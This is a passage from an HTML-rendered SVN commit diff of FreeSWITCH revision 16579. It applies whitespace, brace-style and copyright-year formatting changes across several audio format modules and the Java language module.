</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         switch_thread_t *thread;
</span><span class="cx">         switch_threadattr_t *thd_attr = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_test_flag(handle, SWITCH_FILE_FLAG_WRITE)) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;This format does not support writing!\n&quot;);
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         context = switch_core_alloc(handle-&gt;memory_pool, sizeof(*context));
</span><del>-        
</del><ins>+
</ins><span class="cx">         context-&gt;fds[0] = -1;
</span><span class="cx">         context-&gt;fds[1] = -1;
</span><span class="cx">         context-&gt;command = switch_core_sprintf(handle-&gt;memory_pool, &quot;%s -r %d -c %d&quot;, path, handle-&gt;samplerate, handle-&gt;channels);
</span><span class="cx"> 
</span><span class="cx">         if (pipe(context-&gt;fds)) {
</span><span class="cx">                 goto error;
</span><del>-        } else { /* good to go*/
</del><ins>+        } else {                                        /* good to go */
</ins><span class="cx">                 context-&gt;pid = fork();
</span><del>-                
-                if (context-&gt;pid &lt; 0) { /* ok maybe not */
</del><ins>+
+                if (context-&gt;pid &lt; 0) {        /* ok maybe not */
</ins><span class="cx">                         goto error;
</span><del>-                } else if (context-&gt;pid) { /* parent */
</del><ins>+                } else if (context-&gt;pid) {        /* parent */
</ins><span class="cx">                         handle-&gt;private_info = context;
</span><span class="cx">                         status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">                         close(context-&gt;fds[1]);
</span><span class="lines">@@ -124,19 +124,19 @@
</span><span class="cx"> 
</span><span class="cx">                         switch_thread_rwlock_create(&amp;context-&gt;rwlock, handle-&gt;memory_pool);
</span><span class="cx">                         switch_mutex_init(&amp;context-&gt;mutex, SWITCH_MUTEX_NESTED, handle-&gt;memory_pool);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_threadattr_create(&amp;thd_attr, handle-&gt;memory_pool);
</span><span class="cx">                         switch_threadattr_detach_set(thd_attr, 1);
</span><span class="cx">                         switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
</span><span class="cx">                         switch_thread_create(&amp;thread, thd_attr, buffer_thread_run, context, handle-&gt;memory_pool);
</span><span class="cx">                         context-&gt;running = 2;
</span><span class="cx"> 
</span><del>-                        while(context-&gt;running == 2) {
</del><ins>+                        while (context-&gt;running == 2) {
</ins><span class="cx">                                 switch_cond_next();
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                         goto end;
</span><del>-                } else { /*  child */
</del><ins>+                } else {                                /*  child */
</ins><span class="cx">                         close(context-&gt;fds[0]);
</span><span class="cx">                         dup2(context-&gt;fds[1], STDOUT_FILENO);
</span><span class="cx">                         switch_system(context-&gt;command, SWITCH_TRUE);
</span><span class="lines">@@ -146,22 +146,22 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- error:
</del><ins>+  error:
</ins><span class="cx"> 
</span><span class="cx">         close(context-&gt;fds[0]);
</span><span class="cx">         close(context-&gt;fds[1]);
</span><span class="cx">         status = SWITCH_STATUS_FALSE;
</span><del>-                
</del><span class="cx"> 
</span><del>- end:
-                
</del><ins>+
+  end:
+
</ins><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t shell_stream_file_close(switch_file_handle_t *handle)
</span><span class="cx"> {
</span><span class="cx">         shell_stream_context_t *context = handle-&gt;private_info;
</span><del>-        
</del><ins>+
</ins><span class="cx">         context-&gt;running = 0;
</span><span class="cx"> 
</span><span class="cx">         if (context-&gt;fds[0] &gt; -1) {
</span><span class="lines">@@ -184,10 +184,10 @@
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         switch_size_t rlen = *len * 2;
</span><span class="cx"> 
</span><del>-        while(context-&gt;running &amp;&amp; switch_buffer_inuse(context-&gt;audio_buffer) &lt; rlen) {
</del><ins>+        while (context-&gt;running &amp;&amp; switch_buffer_inuse(context-&gt;audio_buffer) &lt; rlen) {
</ins><span class="cx">                 switch_cond_next();
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_lock(context-&gt;mutex);
</span><span class="cx">         *len = switch_buffer_read(context-&gt;audio_buffer, data, rlen) / 2;
</span><span class="cx">         switch_mutex_unlock(context-&gt;mutex);
</span></span></pre></div>
<a id="freeswitchtrunksrcmodformatsmod_shoutmod_shoutc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/formats/mod_shout/mod_shout.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/formats/mod_shout/mod_shout.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/formats/mod_shout/mod_shout.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -55,12 +55,12 @@
</span><span class="cx">         uint32_t outscale;
</span><span class="cx"> } globals;
</span><span class="cx"> 
</span><del>-mpg123_handle *our_mpg123_new(const char* decoder, int *error) 
</del><ins>+mpg123_handle *our_mpg123_new(const char *decoder, int *error)
</ins><span class="cx"> {
</span><span class="cx">         mpg123_handle *mh;
</span><span class="cx">         const char *arch = &quot;auto&quot;;
</span><span class="cx">         int x64 = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (*globals.decoder || globals.outscale || globals.vol) {
</span><span class="cx">                 if (*globals.decoder) {
</span><span class="cx">                         arch = globals.decoder;
</span><span class="lines">@@ -159,17 +159,17 @@
</span><span class="cx">                         mpg123_close(context-&gt;mh);
</span><span class="cx">                         mpg123_delete(context-&gt;mh);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (context-&gt;fp) {
</span><span class="cx">                         unsigned char mp3buffer[8192];
</span><span class="cx">                         int len;
</span><del>-                        int16_t blank[2048] = {0}, *r = NULL;
-                        
-                        
</del><ins>+                        int16_t blank[2048] = { 0 }, *r = NULL;
+
+
</ins><span class="cx">                         if (context-&gt;channels == 2) {
</span><span class="cx">                                 r = blank;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         len = lame_encode_buffer(context-&gt;gfp, blank, r, sizeof(blank) / 2, mp3buffer, sizeof(mp3buffer));
</span><span class="cx"> 
</span><span class="cx">                         if (len) {
</span><span class="lines">@@ -182,7 +182,7 @@
</span><span class="cx">                                         break;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         lame_mp3_tags_fid(context-&gt;gfp, context-&gt;fp);
</span><span class="cx"> 
</span><span class="cx">                         fclose(context-&gt;fp);
</span><span class="lines">@@ -292,7 +292,7 @@
</span><span class="cx"> {
</span><span class="cx">         int decode_status = 0;
</span><span class="cx">         size_t usedlen;
</span><del>-        
</del><ins>+
</ins><span class="cx">         while (!context-&gt;err &amp;&amp; !context-&gt;eof &amp;&amp; switch_buffer_inuse(context-&gt;audio_buffer) &lt; bytes) {
</span><span class="cx">                 usedlen = 0;
</span><span class="cx"> 
</span><span class="lines">@@ -332,8 +332,8 @@
</span><span class="cx">         shout_context_t *context = data;
</span><span class="cx">         int decode_status = 0;
</span><span class="cx">         size_t usedlen;
</span><del>-        uint32_t used, buf_size = 1024 * 128; /* do not make this 64 or less, stutter will ensue after 
-                                                 first 64k buffer is dry */
</del><ins>+        uint32_t used, buf_size = 1024 * 128;        /* do not make this 64 or less, stutter will ensue after 
+                                                                                           first 64k buffer is dry */
</ins><span class="cx"> 
</span><span class="cx">         if (context-&gt;prebuf) {
</span><span class="cx">                 buf_size = context-&gt;prebuf;
</span><span class="lines">@@ -387,7 +387,7 @@
</span><span class="cx">         if (context-&gt;err) {
</span><span class="cx">                 goto error;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return realsize;
</span><span class="cx"> 
</span><span class="cx">   error:
</span><span class="lines">@@ -405,7 +405,7 @@
</span><span class="cx">         CURL *curl_handle = NULL;
</span><span class="cx">         CURLcode cc;
</span><span class="cx">         shout_context_t *context = (shout_context_t *) obj;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_thread_rwlock_rdlock(context-&gt;rwlock);
</span><span class="cx"> 
</span><span class="cx">         curl_handle = curl_easy_init();
</span><span class="lines">@@ -416,13 +416,14 @@
</span><span class="cx">         curl_easy_setopt(curl_handle, CURLOPT_WRITEDATA, (void *) context);
</span><span class="cx">         curl_easy_setopt(curl_handle, CURLOPT_USERAGENT, &quot;FreeSWITCH(mod_shout)/1.0&quot;);
</span><span class="cx">         curl_easy_setopt(curl_handle, CURLOPT_NOSIGNAL, 1);
</span><del>-        curl_easy_setopt(curl_handle, CURLOPT_CONNECTTIMEOUT, 30); /* eventually timeout connect */
-        curl_easy_setopt(curl_handle, CURLOPT_LOW_SPEED_LIMIT, 100); /* handle trickle connections */
</del><ins>+        curl_easy_setopt(curl_handle, CURLOPT_CONNECTTIMEOUT, 30);        /* eventually timeout connect */
+        curl_easy_setopt(curl_handle, CURLOPT_LOW_SPEED_LIMIT, 100);        /* handle trickle connections */
</ins><span class="cx">         curl_easy_setopt(curl_handle, CURLOPT_LOW_SPEED_TIME, 30);
</span><span class="cx">         curl_easy_setopt(curl_handle, CURLOPT_ERRORBUFFER, context-&gt;curl_error_buff);
</span><span class="cx">         cc = curl_easy_perform(curl_handle);
</span><del>-        if (cc &amp;&amp; cc != CURLE_WRITE_ERROR) { /* write error is ok, we just exited from callback early */
-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;CURL returned error:[%d] %s : %s [%s]\n&quot;, cc, curl_easy_strerror(cc), context-&gt;curl_error_buff, context-&gt;stream_url);
</del><ins>+        if (cc &amp;&amp; cc != CURLE_WRITE_ERROR) {        /* write error is ok, we just exited from callback early */
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;CURL returned error:[%d] %s : %s [%s]\n&quot;, cc, curl_easy_strerror(cc),
+                                                  context-&gt;curl_error_buff, context-&gt;stream_url);
</ins><span class="cx">         }
</span><span class="cx">         curl_easy_cleanup(curl_handle);
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Read Thread Done\n&quot;);
</span><span class="lines">@@ -453,7 +454,7 @@
</span><span class="cx">                 switch_mutex_unlock(context-&gt;audio_mutex);
</span><span class="cx"> 
</span><span class="cx">                 if (used &gt;= (2 * context-&gt;samplerate)) {
</span><del>-                         break;
</del><ins>+                        break;
</ins><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 switch_yield(500000);
</span><span class="lines">@@ -566,7 +567,8 @@
</span><span class="cx"> 
</span><span class="cx">         while (context-&gt;thread_running &amp;&amp; context-&gt;thread_running != 2) {
</span><span class="cx">                 switch_yield(100000);
</span><del>-                if (!--sanity) break;
</del><ins>+                if (!--sanity)
+                        break;
</ins><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -590,9 +592,9 @@
</span><span class="cx">         context-&gt;memory_pool = handle-&gt;memory_pool;
</span><span class="cx">         context-&gt;samplerate = handle-&gt;samplerate;
</span><span class="cx">         context-&gt;handle = handle;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_thread_rwlock_create(&amp;(context-&gt;rwlock), context-&gt;memory_pool);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_thread_rwlock_rdlock(context-&gt;rwlock);
</span><span class="cx"> 
</span><span class="cx">         switch_mutex_init(&amp;context-&gt;audio_mutex, SWITCH_MUTEX_NESTED, context-&gt;memory_pool);
</span><span class="lines">@@ -605,10 +607,10 @@
</span><span class="cx"> 
</span><span class="cx">                 context-&gt;mh = our_mpg123_new(NULL, NULL);
</span><span class="cx">                 mpg123_format_all(context-&gt;mh);
</span><del>-                mpg123_param(context-&gt;mh, MPG123_FORCE_RATE, context-&gt;samplerate, 0);                
</del><ins>+                mpg123_param(context-&gt;mh, MPG123_FORCE_RATE, context-&gt;samplerate, 0);
</ins><span class="cx"> 
</span><span class="cx">                 if (handle-&gt;handler) {
</span><del>-                        mpg123_param(context-&gt;mh, MPG123_FLAGS, MPG123_SEEKBUFFER|MPG123_MONO_MIX, 0);
</del><ins>+                        mpg123_param(context-&gt;mh, MPG123_FLAGS, MPG123_SEEKBUFFER | MPG123_MONO_MIX, 0);
</ins><span class="cx">                         if (mpg123_open_feed(context-&gt;mh) != MPG123_OK) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Error opening mpg feed\n&quot;);
</span><span class="cx">                                 goto error;
</span><span class="lines">@@ -800,7 +802,7 @@
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 switch_buffer_zero(context-&gt;audio_buffer);
</span><del>-                *cur_sample = mpg123_seek (context-&gt;mh, (off_t)samples, whence);
</del><ins>+                *cur_sample = mpg123_seek(context-&gt;mh, (off_t) samples, whence);
</ins><span class="cx"> 
</span><span class="cx">                 return *cur_sample &gt;= 0 ? SWITCH_STATUS_SUCCESS : SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="lines">@@ -827,9 +829,9 @@
</span><span class="cx">         if (!rb &amp;&amp; (context-&gt;eof || context-&gt;err)) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;rb: %d, bytes: %d\n&quot;, (int) rb, (int) bytes); */
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (rb) {
</span><span class="cx">                 *len = rb / sizeof(int16_t);
</span><span class="cx">         } else {
</span><span class="lines">@@ -839,7 +841,7 @@
</span><span class="cx">                         bytes = newbytes;
</span><span class="cx">                 }
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Padding mp3 stream with 1s of empty audio. (%s)\n&quot;, context-&gt;stream_url);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 memset(data, 255, bytes);
</span><span class="cx">                 *len = bytes / sizeof(int16_t);
</span><span class="cx">         }
</span><span class="lines">@@ -918,18 +920,18 @@
</span><span class="cx"> 
</span><span class="cx">         if (handle-&gt;channels == 2) {
</span><span class="cx">                 switch_size_t i, j = 0;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (context-&gt;llen &lt; nsamples) {
</span><span class="cx">                         context-&gt;l = switch_core_alloc(context-&gt;memory_pool, nsamples * 2);
</span><span class="cx">                         context-&gt;r = switch_core_alloc(context-&gt;memory_pool, nsamples * 2);
</span><span class="cx">                         context-&gt;llen = context-&gt;rlen = nsamples;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 for (i = 0; i &lt; nsamples; i++) {
</span><span class="cx">                         context-&gt;l[i] = audio[j++];
</span><span class="cx">                         context-&gt;r[i] = audio[j++];
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if ((rlen = lame_encode_buffer(context-&gt;gfp, context-&gt;l, context-&gt;r, nsamples, context-&gt;mp3buf, context-&gt;mp3buflen)) &lt; 0) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;MP3 encode error %d!\n&quot;, rlen);
</span><span class="cx">                         return SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -1130,7 +1132,7 @@
</span><span class="cx">                 switch_mutex_t *mutex;
</span><span class="cx">                 switch_channel_t *channel = switch_core_session_get_channel(tsession);
</span><span class="cx">                 lame_global_flags *gfp = NULL;
</span><del>-                switch_codec_implementation_t read_impl = {0};
</del><ins>+                switch_codec_implementation_t read_impl = { 0 };
</ins><span class="cx">                 switch_core_session_get_read_impl(tsession, &amp;read_impl);
</span><span class="cx"> 
</span><span class="cx">                 if (switch_channel_test_flag(channel, CF_PROXY_MODE)) {
</span><span class="lines">@@ -1322,7 +1324,7 @@
</span><span class="cx"> 
</span><span class="cx"> void do_index(switch_stream_handle_t *stream)
</span><span class="cx"> {
</span><del>-        switch_cache_db_handle_t *db; 
</del><ins>+        switch_cache_db_handle_t *db;
</ins><span class="cx">         const char *sql = &quot;select * from channels&quot;;
</span><span class="cx">         struct holder holder;
</span><span class="cx">         char *errmsg;
</span><span class="lines">@@ -1407,7 +1409,7 @@
</span><span class="cx">         switch_xml_t cfg, xml, settings, param;
</span><span class="cx"> 
</span><span class="cx">         memset(&amp;globals, 0, sizeof(globals));
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(xml = switch_xml_open_cfg(cf, &amp;cfg, NULL))) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Open of %s failed\n&quot;, cf);
</span><span class="cx">                 return SWITCH_STATUS_TERM;
</span><span class="lines">@@ -1417,11 +1419,11 @@
</span><span class="cx">                 for (param = switch_xml_child(settings, &quot;param&quot;); param; param = param-&gt;next) {
</span><span class="cx">                         char *var = (char *) switch_xml_attr_soft(param, &quot;name&quot;);
</span><span class="cx">                         char *val = (char *) switch_xml_attr_soft(param, &quot;value&quot;);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!strcmp(var, &quot;decoder&quot;)) {
</span><span class="cx">                                 switch_set_string(globals.decoder, val);
</span><span class="cx">                         } else if (!strcmp(var, &quot;volume&quot;)) {
</span><del>-                                globals.vol = (float)atof(val);
</del><ins>+                                globals.vol = (float) atof(val);
</ins><span class="cx">                         } else if (!strcmp(var, &quot;outscale&quot;)) {
</span><span class="cx">                                 int tmp = atoi(val);
</span><span class="cx">                                 if (tmp &gt; 0) {
</span><span class="lines">@@ -1430,8 +1432,8 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">         switch_xml_free(xml);
</span><span class="cx"> 
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span></span></pre></div>
<a id="freeswitchtrunksrcmodformatsmod_sndfilemod_sndfilec"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/formats/mod_sndfile/mod_sndfile.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/formats/mod_sndfile/mod_sndfile.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/formats/mod_sndfile/mod_sndfile.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -64,7 +64,7 @@
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         char *alt_path = NULL, *last, *ldup = NULL;
</span><span class="cx">         size_t alt_len = 0;
</span><del>-        int rates[4] = {8000, 16000, 32000, 48000};
</del><ins>+        int rates[4] = { 8000, 16000, 32000, 48000 };
</ins><span class="cx">         int i;
</span><span class="cx"> #ifdef WIN32
</span><span class="cx">         char ps = '\\';
</span><span class="lines">@@ -161,12 +161,12 @@
</span><span class="cx">         /* This block attempts to add the sample rate to the path
</span><span class="cx">            if the sample rate is already present in the path it does nothing
</span><span class="cx">            and reverts to the original file name.
</span><del>-        */
</del><ins>+         */
</ins><span class="cx">         if ((last = strrchr(alt_path, ps))) {
</span><span class="cx">                 last++;
</span><span class="cx"> #ifdef WIN32
</span><span class="cx">                 if (strrchr(last, '/')) {
</span><del>-                        last = strrchr(alt_path, '/'); /* do not swallow a forward slash if they are intermixed under windows*/
</del><ins>+                        last = strrchr(alt_path, '/');        /* do not swallow a forward slash if they are intermixed under windows */
</ins><span class="cx">                         last++;
</span><span class="cx">                 }
</span><span class="cx"> #endif
</span><span class="lines">@@ -178,7 +178,7 @@
</span><span class="cx">                 } else {
</span><span class="cx">                         /* Try to find the file at the highest rate possible if we can't find one that matches the exact rate.
</span><span class="cx">                            If we don't find any, we will default back to the original file name.
</span><del>-                        */
</del><ins>+                         */
</ins><span class="cx">                         for (i = 3; i &gt;= 0; i--) {
</span><span class="cx">                                 switch_snprintf(last, alt_len - (last - alt_path), &quot;%d%s%s&quot;, rates[i], SWITCH_PATH_SEPARATOR, ldup);
</span><span class="cx">                                 if ((context-&gt;handle = sf_open(alt_path, mode, &amp;context-&gt;sfinfo))) {
</span></span></pre></div>
<a id="freeswitchtrunksrcmodformatsmod_tone_streammod_tone_streamc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/formats/mod_tone_stream/mod_tone_stream.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/formats/mod_tone_stream/mod_tone_stream.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/formats/mod_tone_stream/mod_tone_stream.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -58,7 +58,7 @@
</span><span class="cx">                 sh-&gt;samples = 0;
</span><span class="cx">                 sh-&gt;forever = 1;
</span><span class="cx">         }
</span><del>-                
</del><ins>+
</ins><span class="cx">         if ((p = strchr(path, ','))) {
</span><span class="cx">                 p++;
</span><span class="cx">                 ms = atoi(p);
</span><span class="lines">@@ -80,19 +80,19 @@
</span><span class="cx"> static switch_status_t silence_stream_file_read(switch_file_handle_t *handle, void *data, size_t *len)
</span><span class="cx"> {
</span><span class="cx">         struct silence_handle *sh = handle-&gt;private_info;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!sh-&gt;forever) {
</span><span class="cx">                 if (sh-&gt;samples &lt;= 0) {
</span><span class="cx">                         return SWITCH_STATUS_FALSE;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                if (*len &gt; (size_t)sh-&gt;samples) {
</del><ins>+                if (*len &gt; (size_t) sh-&gt;samples) {
</ins><span class="cx">                         *len = sh-&gt;samples;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 sh-&gt;samples -= *len;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (sh-&gt;silence) {
</span><span class="cx">                 switch_generate_sln_silence((int16_t *) data, *len, sh-&gt;silence);
</span><span class="cx">         } else {
</span></span></pre></div>
<a id="freeswitchtrunksrcmodlanguagesmod_javafreeswitch_javah"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/languages/mod_java/freeswitch_java.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/languages/mod_java/freeswitch_java.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_java/freeswitch_java.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -6,21 +6,19 @@
</span><span class="cx"> 
</span><span class="cx"> extern JavaVM *javaVM;
</span><span class="cx"> 
</span><del>-class JavaSession : public CoreSession
-{
- public:
-    JavaSession();
-    JavaSession(char *uuid);
-    JavaSession(switch_core_session_t *session);
-    virtual ~JavaSession();
</del><ins>+class JavaSession:public CoreSession {
+  public:
+        JavaSession();
+        JavaSession(char *uuid);
+             JavaSession(switch_core_session_t *session);
+                              virtual ~ JavaSession();
</ins><span class="cx"> 
</span><del>-    virtual bool begin_allow_threads();
-    virtual bool end_allow_threads();
-    void setDTMFCallback(jobject dtmfCallback, char *funcargs);
-    void setHangupHook(jobject hangupHook);
-    virtual void check_hangup_hook();
-    virtual switch_status_t run_dtmf_callback(void *input, switch_input_type_t itype);
</del><ins>+        virtual bool begin_allow_threads();
+        virtual bool end_allow_threads();
+        void setDTMFCallback(jobject dtmfCallback, char *funcargs);
+        void setHangupHook(jobject hangupHook);
+        virtual void check_hangup_hook();
+        virtual switch_status_t run_dtmf_callback(void *input, switch_input_type_t itype);
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> #endif
</span><del>-
</del></span></pre></div>
<a id="freeswitchtrunksrcmodlanguagesmod_javamodjavac"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/languages/mod_java/modjava.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/languages/mod_java/modjava.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_java/modjava.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -45,236 +45,205 @@
</span><span class="cx"> SWITCH_MODULE_DEFINITION(mod_java, mod_java_load, mod_java_shutdown, NULL);
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-static void launch_java(switch_core_session_t *session, const char *data, JNIEnv *env)
</del><ins>+static void launch_java(switch_core_session_t *session, const char *data, JNIEnv * env)
</ins><span class="cx"> {
</span><del>-    jclass Launcher = NULL;
-    jmethodID launch = NULL;
-    jstring uuid = NULL;
-    jstring args = NULL;
</del><ins>+        jclass Launcher = NULL;
+        jmethodID launch = NULL;
+        jstring uuid = NULL;
+        jstring args = NULL;
</ins><span class="cx"> 
</span><del>-    Launcher = (*env)-&gt;FindClass(env, &quot;org/freeswitch/Launcher&quot;);
-    if (Launcher == NULL)
-    {
-        (*env)-&gt;ExceptionDescribe(env);
-        goto done;
-    }
</del><ins>+        Launcher = (*env)-&gt;FindClass(env, &quot;org/freeswitch/Launcher&quot;);
+        if (Launcher == NULL) {
+                (*env)-&gt;ExceptionDescribe(env);
+                goto done;
+        }
</ins><span class="cx"> 
</span><del>-    launch = (*env)-&gt;GetStaticMethodID(env, Launcher, &quot;launch&quot;, &quot;(Ljava/lang/String;Ljava/lang/String;)V&quot;);
-    if (launch == NULL)
-    {
-        (*env)-&gt;ExceptionDescribe(env);
-        goto done;
-    }
</del><ins>+        launch = (*env)-&gt;GetStaticMethodID(env, Launcher, &quot;launch&quot;, &quot;(Ljava/lang/String;Ljava/lang/String;)V&quot;);
+        if (launch == NULL) {
+                (*env)-&gt;ExceptionDescribe(env);
+                goto done;
+        }
</ins><span class="cx"> 
</span><del>-    uuid = (*env)-&gt;NewStringUTF(env, switch_core_session_get_uuid(session));
-    if (uuid == NULL)
-    {
-        (*env)-&gt;ExceptionDescribe(env);
-        goto done;
-    }
</del><ins>+        uuid = (*env)-&gt;NewStringUTF(env, switch_core_session_get_uuid(session));
+        if (uuid == NULL) {
+                (*env)-&gt;ExceptionDescribe(env);
+                goto done;
+        }
</ins><span class="cx"> 
</span><del>-    args = (*env)-&gt;NewStringUTF(env, data);
-    if (args == NULL)
-    {
-        (*env)-&gt;ExceptionDescribe(env);
-        goto done;
-    }
</del><ins>+        args = (*env)-&gt;NewStringUTF(env, data);
+        if (args == NULL) {
+                (*env)-&gt;ExceptionDescribe(env);
+                goto done;
+        }
</ins><span class="cx"> 
</span><del>-    (*env)-&gt;CallStaticVoidMethod(env, Launcher, launch, uuid, args);
-    if ((*env)-&gt;ExceptionOccurred(env))
-        (*env)-&gt;ExceptionDescribe(env);
</del><ins>+        (*env)-&gt;CallStaticVoidMethod(env, Launcher, launch, uuid, args);
+        if ((*env)-&gt;ExceptionOccurred(env))
+                (*env)-&gt;ExceptionDescribe(env);
</ins><span class="cx"> 
</span><del>-done:
-    if (args != NULL)
-        (*env)-&gt;DeleteLocalRef(env, args);
-    if (uuid != NULL)
-        (*env)-&gt;DeleteLocalRef(env, uuid);
-    if (Launcher != NULL)
-        (*env)-&gt;DeleteLocalRef(env, Launcher);
</del><ins>+  done:
+        if (args != NULL)
+                (*env)-&gt;DeleteLocalRef(env, args);
+        if (uuid != NULL)
+                (*env)-&gt;DeleteLocalRef(env, uuid);
+        if (Launcher != NULL)
+                (*env)-&gt;DeleteLocalRef(env, Launcher);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_STANDARD_APP(java_function)
</span><span class="cx"> {
</span><del>-    JNIEnv *env;
-    jint res;
</del><ins>+        JNIEnv *env;
+        jint res;
</ins><span class="cx"> 
</span><del>-    if (javaVM == NULL)
-        return;
</del><ins>+        if (javaVM == NULL)
+                return;
</ins><span class="cx"> 
</span><del>-    res = (*javaVM)-&gt;AttachCurrentThread(javaVM, (void*) &amp;env, NULL);
-    if (res == JNI_OK)
-    {
-        launch_java(session, data, env);
